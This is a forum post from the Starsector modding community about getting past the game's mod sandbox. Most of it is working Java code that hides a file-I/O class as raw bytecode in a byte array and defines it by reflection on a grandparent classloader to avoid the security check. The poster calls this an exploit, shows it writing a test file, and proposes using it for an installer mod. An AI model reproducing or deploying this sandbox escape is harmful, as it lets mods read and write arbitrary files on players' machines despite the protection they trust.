It might not be intended.... but we do actually have full I/O access atm.
You just have to contain all references to "java.io" within classes that are constructed via reflection. (and leapfrog the parent classloader that performs the security check)
package org.tjj.starsector;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import com.fs.starfarer.api.BaseModPlugin;
import com.fs.starfarer.api.Global;
public class IoTest extends com.fs.starfarer.api.BaseModPlugin {
private static Class fileIoClass;
private static Method readMethod;
private static Method writeMethod;
static {
byte[] fileIoClassBytes = new byte[] { -54, -2, -70, -66, 0, 0, 0, 50, 0, 49, 7, 0, 2, 1, 0, 29, 111, 114, 103,
47, 116, 106, 106, 47, 115, 116, 97, 114, 115, 101, 99, 116, 111, 114, 47, 70, 105, 108, 101, 73, 111,
73, 109, 112, 108, 7, 0, 4, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99,
116, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 10, 0, 3, 0,
9, 12, 0, 5, 0, 6, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0,
18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104,
105, 115, 1, 0, 31, 76, 111, 114, 103, 47, 116, 106, 106, 47, 115, 116, 97, 114, 115, 101, 99, 116, 111,
114, 47, 70, 105, 108, 101, 73, 111, 73, 109, 112, 108, 59, 1, 0, 4, 114, 101, 97, 100, 1, 0, 22, 40,
76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 91, 66, 7, 0, 17,
1, 0, 12, 106, 97, 118, 97, 47, 105, 111, 47, 70, 105, 108, 101, 10, 0, 16, 0, 19, 12, 0, 5, 0, 20, 1,
0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 10,
0, 16, 0, 22, 12, 0, 23, 0, 24, 1, 0, 6, 116, 111, 80, 97, 116, 104, 1, 0, 22, 40, 41, 76, 106, 97, 118,
97, 47, 110, 105, 111, 47, 102, 105, 108, 101, 47, 80, 97, 116, 104, 59, 10, 0, 26, 0, 28, 7, 0, 27, 1,
0, 19, 106, 97, 118, 97, 47, 110, 105, 111, 47, 102, 105, 108, 101, 47, 70, 105, 108, 101, 115, 12, 0,
29, 0, 30, 1, 0, 12, 114, 101, 97, 100, 65, 108, 108, 66, 121, 116, 101, 115, 1, 0, 24, 40, 76, 106, 97,
118, 97, 47, 110, 105, 111, 47, 102, 105, 108, 101, 47, 80, 97, 116, 104, 59, 41, 91, 66, 7, 0, 32, 1,
0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 1, 0, 4,
112, 97, 116, 104, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110,
103, 59, 1, 0, 1, 101, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 79, 69, 120, 99, 101, 112,
116, 105, 111, 110, 59, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 1, 0, 5, 119,
114, 105, 116, 101, 1, 0, 23, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105,
110, 103, 59, 91, 66, 41, 90, 7, 0, 41, 1, 0, 24, 106, 97, 118, 97, 47, 110, 105, 111, 47, 102, 105,
108, 101, 47, 79, 112, 101, 110, 79, 112, 116, 105, 111, 110, 10, 0, 26, 0, 43, 12, 0, 38, 0, 44, 1, 0,
71, 40, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 102, 105, 108, 101, 47, 80, 97, 116, 104, 59, 91,
66, 91, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 102, 105, 108, 101, 47, 79, 112, 101, 110, 79, 112,
116, 105, 111, 110, 59, 41, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 102, 105, 108, 101, 47, 80, 97,
116, 104, 59, 1, 0, 1, 98, 1, 0, 2, 91, 66, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1,
0, 15, 70, 105, 108, 101, 73, 111, 73, 109, 112, 108, 46, 106, 97, 118, 97, 0, 33, 0, 1, 0, 3, 0, 0, 0,
0, 0, 3, 0, 1, 0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 8, -79, 0, 0, 0,
2, 0, 10, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 11, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 12, 0, 13, 0, 0, 0, 9,
0, 14, 0, 15, 0, 1, 0, 7, 0, 0, 0, 98, 0, 3, 0, 2, 0, 0, 0, 18, -69, 0, 16, 89, 42, -73, 0, 18, -74, 0,
21, -72, 0, 25, -80, 76, 1, -80, 0, 1, 0, 0, 0, 14, 0, 15, 0, 31, 0, 3, 0, 10, 0, 0, 0, 14, 0, 3, 0, 0,
0, 11, 0, 15, 0, 12, 0, 16, 0, 13, 0, 11, 0, 0, 0, 22, 0, 2, 0, 0, 0, 18, 0, 33, 0, 34, 0, 0, 0, 16, 0,
2, 0, 35, 0, 36, 0, 1, 0, 37, 0, 0, 0, 6, 0, 1, 79, 7, 0, 31, 0, 9, 0, 38, 0, 39, 0, 1, 0, 7, 0, 0, 0,
119, 0, 3, 0, 3, 0, 0, 0, 25, -69, 0, 16, 89, 42, -73, 0, 18, -74, 0, 21, 43, 3, -67, 0, 40, -72, 0, 42,
87, 4, -84, 77, 3, -84, 0, 1, 0, 0, 0, 20, 0, 22, 0, 31, 0, 3, 0, 10, 0, 0, 0, 18, 0, 4, 0, 0, 0, 19, 0,
20, 0, 20, 0, 22, 0, 21, 0, 23, 0, 22, 0, 11, 0, 0, 0, 32, 0, 3, 0, 0, 0, 25, 0, 33, 0, 34, 0, 0, 0, 0,
0, 25, 0, 45, 0, 46, 0, 1, 0, 23, 0, 2, 0, 35, 0, 36, 0, 2, 0, 37, 0, 0, 0, 6, 0, 1, 86, 7, 0, 31, 0, 1,
0, 47, 0, 0, 0, 2, 0, 48 };
ClassLoader cl = IoTest.class.getClassLoader();
Class clc = ClassLoader.class;
java.lang.reflect.Method defineClass;
try {
defineClass = clc.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
} catch (NoSuchMethodException e) {
throw new RuntimeException("Failed finding defineClass", e);
} catch (SecurityException e) {
throw new RuntimeException("Failed finding defineClass", e);
}
defineClass.setAccessible(true);
try {
fileIoClass = (Class) defineClass.invoke(cl.getParent().getParent(), "org.tjj.starsector.FileIoImpl",
fileIoClassBytes, 0, fileIoClassBytes.length);
} catch (IllegalAccessException e) {
throw new RuntimeException("Failed definingClass", e);
} catch (IllegalArgumentException e) {
throw new RuntimeException("Failed definingClass", e);
} catch (java.lang.reflect.InvocationTargetException e) {
throw new RuntimeException("Failed definingClass", e);
}
try {
readMethod = fileIoClass.getDeclaredMethod("read", String.class);
writeMethod = fileIoClass.getDeclaredMethod("write", String.class, byte[].class);
} catch (NoSuchMethodException e) {
throw new RuntimeException("Failed finding io methods", e);
} catch (SecurityException e) {
throw new RuntimeException("Failed finding io methods", e);
}
}
public static byte[] read(String path) {
try {
return (byte[]) readMethod.invoke(null, path);
} catch (IllegalAccessException e) {
} catch (IllegalArgumentException e) {
} catch (InvocationTargetException e) {
}
return null;
}
public static boolean write(String path, byte[] b) {
try {
return (Boolean) writeMethod.invoke(null, path, b);
} catch (IllegalAccessException e) {
} catch (IllegalArgumentException e) {
} catch (InvocationTargetException e) {
}
return false;
}
public IoTest() {
if (write("Test.txt", "Yep, Sandbox bypassed".getBytes())) {
Global.getLogger(IoTest.class).info("Successfully written file");
}
}
}
The fileIoClassBytes byte[] is just the class below compiled, and then printed as bytes.
I was thinking of using this exploit as a means of creating an installer/uninstaller mod for SSME, so the SSME launch process could be identical to normal mods. (rather than having to launch from a separate shell script)
Back to the point; it's completely possible to implement what the OP is suggesting with nothing more than 'regular' modding